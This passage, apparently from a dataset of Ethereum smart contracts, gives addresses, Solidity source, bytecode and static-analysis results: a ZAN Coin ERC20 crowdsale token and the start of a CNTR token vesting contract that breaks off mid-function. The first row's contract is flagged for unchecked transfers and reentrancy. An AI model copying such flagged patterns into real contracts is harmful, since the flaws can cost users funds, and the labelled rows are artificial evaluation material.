6572206d7573742062652072656769737465726564000000000081525060200191505060405180910390fd5b81600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561247457600080fd5b505afa158015612488573d6000803e3d6000fd5b505050506040513d602081101561249e57600080fd5b81019080805190602001909291905050501015612506576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612ceb6021913960400191505060405180910390fd5b61251d600754600454612ba290919063ffffffff16565b821015612575576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526039815260200180612d0c6039913960400191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561262657600080fd5b505af115801561263a573d6000803e3d6000fd5b505050506040513d602081101561265057600080fd5b81019080805190602001909291905050506126b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180612d87602b913960400191505060405180910390fd5b60006126cd60045484612b3b90919063ffffffff16565b905060006126fa6103e86126ec84600354612b5590919063ffffffff16565b612b8290919063ffffffff16565b9050600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461281557600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055506127d181600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ba290919063ffffffff16565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555042600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128d8816128ca84600254612ba290919063ffffffff16565b612b3b90919063ffffffff16565b6002819055506129428161293484600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ba290919063ffffffff16565b612b3b90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f2aef494423269f61b2dd75f1f1e289ef00d20b5a68bd5a6740c518cddd9a865b33856129bd84600454612ba290919063ffffffff16565b86604051808573ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390a150505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a7257600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60055481565b60065481565b600082821115612b4a57600080fd5b818303905092915050565b600081830290506000831480612b73575081838281612b7057fe5b04145b612b7c57600080fd5b92915050565b6000808211612b9057600080fd5b818381612b9957fe5b04905092915050565b6000818301905082811015612bb657600080fd5b92915050565b6000612bfe83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612c06565b905092915050565b6000808314158290612cb3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612c78578082015181840152602081019050612c5d565b50505050905090810190601f168015612ca55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50828481612cbd57fe5b069050939250505056fe536d61727420636f6e747261637420697320637572656e746c7920696e6163746976654d757374206861766520656e6f7567682062616c616e636520746f207374616b654d7573742073656e64206174206c6561737420656e6f756768204d414e444f5820746f2070617920726567697374726174696f6e206665652e496e73756666696369656e74204c4541442062616c616e636520696e20706f6f6c5374616b65686f6c64657220697320616c726561647920726567697374657265645374616b65206661696c65642064756520746f206661696c656420616d6f756e74207472616e736665722e416d6f756e742069732062656c6f77206d696e696d756d207374616b652076616c75652ea26469706673582212208a2436dbdc15530d6fcd6e4580bb7a4d86a0a13c35aee99b43dde48382feaf9c64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 9,969 |
0xBeF51888aF40D73Db76A7716c98BDfE979040f8d | pragma solidity ^0.4.21;
// ----------------------------------------------------------------------------
// ZAN token contract
//
// Symbol : ZAN
// Name : ZAN Coin
// Total supply: 17,148,385.000000000000000000
// Decimals : 18
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
assert(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
assert(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
assert(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
assert(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract ZanCoin is ERC20Interface, Owned {
using SafeMath for uint;
// ------------------------------------------------------------------------
// Metadata
// ------------------------------------------------------------------------
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) public balances;
mapping(address => mapping(address => uint)) public allowed;
// ------------------------------------------------------------------------
// Crowdsale data
// ------------------------------------------------------------------------
bool public isInPreSaleState;
bool public isInRoundOneState;
bool public isInRoundTwoState;
bool public isInFinalState;
uint public stateStartDate;
uint public stateEndDate;
uint public saleCap;
uint public exchangeRate;
uint public burnedTokensCount;
event SwitchCrowdSaleStage(string stage, uint exchangeRate);
event BurnTokens(address indexed burner, uint amount);
event PurchaseZanTokens(address indexed contributor, uint eth_sent, uint zan_received);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ZanCoin() public {
symbol = "ZAN";
name = "ZAN Coin";
decimals = 18;
_totalSupply = 17148385 * 10**uint(decimals);
balances[owner] = _totalSupply;
isInPreSaleState = false;
isInRoundOneState = false;
isInRoundTwoState = false;
isInFinalState = false;
burnedTokensCount = 0;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Accepts ETH and transfers ZAN tokens based on exchage rate and state
// ------------------------------------------------------------------------
function () public payable {
uint eth_sent = msg.value;
uint tokens_amount = eth_sent.mul(exchangeRate);
require(eth_sent > 0);
require(exchangeRate > 0);
require(stateStartDate < now && now < stateEndDate);
require(balances[owner] >= tokens_amount);
require(_totalSupply - (balances[owner] - tokens_amount) <= saleCap);
// Don't accept ETH in the final state
require(!isInFinalState);
require(isInPreSaleState || isInRoundOneState || isInRoundTwoState);
balances[owner] = balances[owner].sub(tokens_amount);
balances[msg.sender] = balances[msg.sender].add(tokens_amount);
emit PurchaseZanTokens(msg.sender, eth_sent, tokens_amount);
}
// ------------------------------------------------------------------------
// Switches crowdsale stages: PreSale -> Round One -> Round Two
// ------------------------------------------------------------------------
function switchCrowdSaleStage() external onlyOwner {
require(!isInFinalState && !isInRoundTwoState);
if (!isInPreSaleState) {
isInPreSaleState = true;
exchangeRate = 1500;
saleCap = (3 * 10**6) * (uint(10) ** decimals);
emit SwitchCrowdSaleStage("PreSale", exchangeRate);
}
else if (!isInRoundOneState) {
isInRoundOneState = true;
exchangeRate = 1200;
saleCap = saleCap + ((4 * 10**6) * (uint(10) ** decimals));
emit SwitchCrowdSaleStage("RoundOne", exchangeRate);
}
else if (!isInRoundTwoState) {
isInRoundTwoState = true;
exchangeRate = 900;
saleCap = saleCap + ((5 * 10**6) * (uint(10) ** decimals));
emit SwitchCrowdSaleStage("RoundTwo", exchangeRate);
}
stateStartDate = now + 5 minutes;
stateEndDate = stateStartDate + 7 days;
}
// ------------------------------------------------------------------------
// Switches to Complete stage of the contract. Sends all funds collected
// to the contract owner.
// ------------------------------------------------------------------------
function completeCrowdSale() external onlyOwner {
require(!isInFinalState);
require(isInPreSaleState && isInRoundOneState && isInRoundTwoState);
owner.transfer(address(this).balance);
exchangeRate = 0;
isInFinalState = true;
emit SwitchCrowdSaleStage("Complete", exchangeRate);
}
// ------------------------------------------------------------------------
// Token holders are able to burn their tokens.
// ------------------------------------------------------------------------
function burn(uint amount) public {
require(amount > 0);
require(amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(amount);
_totalSupply = _totalSupply.sub(amount);
burnedTokensCount = burnedTokensCount + amount;
emit BurnTokens(msg.sender, amount);
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0x6060604052600436106101665763ffffffff60e060020a60003504166306fdde03811461031a578063078fd9ea146103a4578063095ea7b3146103c957806318160ddd146103ff5780632301e7b71461041257806323b872dd1461042557806327e235e31461044d578063313ce5671461046c57806339e3407b146104955780633ba0b9a9146104a85780633eaaf86b146104bb57806342966c68146104ce57806343c35651146104e65780635104a3a7146104f95780635962581e1461050c5780635aab18221461051f5780635c6581651461053257806370a082311461055757806379ba5097146105765780638da5cb5b1461058957806392c9a926146105b857806395d89b41146105cb578063a9059cbb146105de578063cae9ca5114610600578063d1c72c8914610665578063d4ee1d9014610678578063dc39d06d1461068b578063dd62ed3e146106ad578063e8a71012146106d2578063f2fde38b146106e5575b600c54349060009061017f90839063ffffffff61070416565b90506000821161018e57600080fd5b600c546000901161019e57600080fd5b426009541080156101b05750600a5442105b15156101bb57600080fd5b60008054600160a060020a0316815260066020526040902054819010156101e157600080fd5b600b5460008054600160a060020a0316815260066020526040902054600554908390039003111561021157600080fd5b6008546301000000900460ff161561022857600080fd5b60085460ff16806102405750600854610100900460ff165b80610253575060085462010000900460ff165b151561025e57600080fd5b60008054600160a060020a0316815260066020526040902054610287908263ffffffff61072c16565b60008054600160a060020a03908116825260066020526040808320939093553316815220546102bc908263ffffffff61073e16565b600160a060020a0333166000818152600660205260409081902092909255907f99efbf4e4884e446e811fb5264447051b3249ea6449db1a4dd586e2a628b5cd590849084905191825260208201526040908101905180910390a25050005b341561032557600080fd5b61032d61074b565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610369578082015183820152602001610351565b50505050905090810190601f1680156103965780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103af57600080fd5b6103b76107e9565b60405190815260200160405180910390f35b34156103d457600080fd5b6103eb600160a060020a03600435166024356107ef565b604051901515815260200160405180910390f35b341561040a57600080fd5b6103b761085b565b341561041d57600080fd5b6103eb61088d565b341561043057600080fd5b6103eb600160a060020a0360043581169060243516604435610896565b341561045857600080fd5b6103b7600160a060020a03600435166109a9565b341561047757600080fd5b61047f6109bb565b60405160ff909116815260200160405180910390f35b34156104a057600080fd5b6103eb6109c4565b34156104b357600080fd5b6103b76109d4565b34156104c657600080fd5b6103b76109da565b34156104d957600080fd5b6104e46004356109e0565b005b34156104f157600080fd5b6104e4610ab2565b341561050457600080fd5b6103b7610bc9565b341561051757600080fd5b6103eb610bcf565b341561052a57600080fd5b6103b7610bdd565b341561053d57600080fd5b6103b7600160a060020a0360043581169060243516610be3565b341561056257600080fd5b6103b7600160a060020a0360043516610c00565b341561058157600080fd5b6104e4610c1b565b341561059457600080fd5b61059c610ca9565b604051600160a060020a03909116815260200160405180910390f35b34156105c357600080fd5b6103b7610cb8565b34156105d657600080fd5b61032d610cbe565b34156105e957600080fd5b6103eb600160a060020a0360043516602435610d29565b341561060b57600080fd5b6103eb60048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610de895505050505050565b341561067057600080fd5b6103eb610f4b565b341561068357600080fd5b61059c610f5a565b341561069657600080fd5b6103eb600160a060020a0360043516602435610f69565b34156106b857600080fd5b6103b7600160a060020a0360043581169060243516610ffc565b34156106dd57600080fd5b6104e4611027565b34156106f057600080fd5b6104e4600160a060020a0360043516611253565b81810282158061071e575081838281151561071b57fe5b04145b151561072657fe5b92915050565b60008282111561073857fe5b50900390565b8181018281101561072657fe5b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e15780601f106107b6576101008083540402835291602001916107e1565b820191906000526020600020905b8154815290600101906020018083116107c457829003601f168201915b505050505081565b600b5481565b600160a060020a03338116600081815260076020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000805260066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8546005540390565b60085460ff1681565b600160a060020a0383166000908152600660205260408120546108bf908363ffffffff61072c16565b600160a060020a0380861660009081526006602090815260408083209490945560078152838220339093168252919091522054610902908363ffffffff61072c16565b600160a060020a0380861660009081526007602090815260408083203385168452825280832094909455918616815260069091522054610948908363ffffffff61073e16565b600160a060020a03808516600081815260066020526040908190209390935591908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60066020526000908152604090205481565b60045460ff1681565b6008546301000000900460ff1681565b600c5481565b60055481565b600081116109ed57600080fd5b600160a060020a033316600090815260066020526040902054811115610a1257600080fd5b600160a060020a033316600090815260066020526040902054610a3b908263ffffffff61072c16565b600160a060020a033316600090815260066020526040902055600554610a67908263ffffffff61072c16565b600555600d805482019055600160a060020a0333167f388d6102a0230861b4e9646fb5acda1c5ec15d39df2b619d39c25d16a12684908260405190815260200160405180910390a250565b60005433600160a060020a03908116911614610acd57600080fd5b6008546301000000900460ff1615610ae457600080fd5b60085460ff168015610afd5750600854610100900460ff165b8015610b11575060085462010000900460ff165b1515610b1c57600080fd5b600054600160a060020a039081169030163180156108fc0290604051600060405180830381858888f193505050501515610b5557600080fd5b6000600c8190556008805463ff0000001916630100000017905560008051602061129e83398151915290604051602081019190915260408082526008818301527f436f6d706c65746500000000000000000000000000000000000000000000000060608301526080909101905180910390a1565b600d5481565b600854610100900460ff1681565b600a5481565b600760209081526000928352604080842090915290825290205481565b600160a060020a031660009081526006602052604090205490565b60015433600160a060020a03908116911614610c3657600080fd5b600154600054600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600054600160a060020a031681565b60095481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e15780601f106107b6576101008083540402835291602001916107e1565b600160a060020a033316600090815260066020526040812054610d52908363ffffffff61072c16565b600160a060020a033381166000908152600660205260408082209390935590851681522054610d87908363ffffffff61073e16565b600160a060020a0380851660008181526006602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a03338116600081815260076020908152604080832094881680845294909152808220869055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259086905190815260200160405180910390a383600160a060020a0316638f4ffcb1338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610ee3578082015183820152602001610ecb565b50505050905090810190601f168015610f105780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610f3157600080fd5b5af11515610f3e57600080fd5b5060019695505050505050565b60085462010000900460ff1681565b600154600160a060020a031681565b6000805433600160a060020a03908116911614610f8557600080fd5b600054600160a060020a038085169163a9059cbb91168460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610fdf57600080fd5b5af11515610fec57600080fd5b5050506040518051949350505050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b60005433600160a060020a0390811691161461104257600080fd5b6008546301000000900460ff16158015611065575060085462010000900460ff16155b151561107057600080fd5b60085460ff1615156111015760088054600160ff199091161790556105dc600c81905560045460ff16600a0a622dc6c002600b5560008051602061129e83398151915290604051602081019190915260408082526007818301527f50726553616c650000000000000000000000000000000000000000000000000060608301526080909101905180910390a1611240565b600854610100900460ff1615156111a1576008805461010061ff00199091161790556104b0600c819055600454600b805460ff909216600a0a623d090002909101905560008051602061129e83398151915290604051602081019190915260408082526008818301527f526f756e644f6e6500000000000000000000000000000000000000000000000060608301526080909101905180910390a1611240565b60085462010000900460ff16151561124057600880546201000062ff000019909116179055610384600c819055600454600b805460ff909216600a0a624c4b4002909101905560008051602061129e83398151915290604051602081019190915260408082526008818301527f526f756e6454776f00000000000000000000000000000000000000000000000060608301526080909101905180910390a15b4261012c810160095562093bac01600a55565b60005433600160a060020a0390811691161461126e57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055560038a3da6cc59e03892c624dec40e4f39fcfe5834ef28d2852dd77634730814bd7a165627a7a72305820e5cb3134c32ee6c7192d36092a4cbe43f07b47e5ef2044d4942bfcaddaae235e0029 | {"success": true, "error": null, "results": {}} | 9,970 |
0x63d982Ec1de2215461220a11a15e6f4279aE5713 | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
contract VestingContract is Ownable {
using SafeMath for uint256;
// CNTR Token Contract
IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B);
uint256[] vestingSchedule;
address public receivingAddress;
uint256 public vestingStartTime;
uint256 constant public releaseInterval = 30 days;
uint256 index = 0;
constructor(address _address) public {
receivingAddress = _address;
}
function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner {
require(vestingStartTime == 0);
vestingSchedule = _vestingSchedule;
}
function updateReceivingAddress(address _address) public onlyOwner {
receivingAddress = _address;
}
function releaseToken() public {
require(vestingSchedule.length > 0);
require(msg.sender == owner() || msg.sender == receivingAddress);
if (vestingStartTime == 0) {
require(msg.sender == owner());
vestingStartTime = block.timestamp;
}
for (uint256 i = index; i < vestingSchedule.length; i++) {
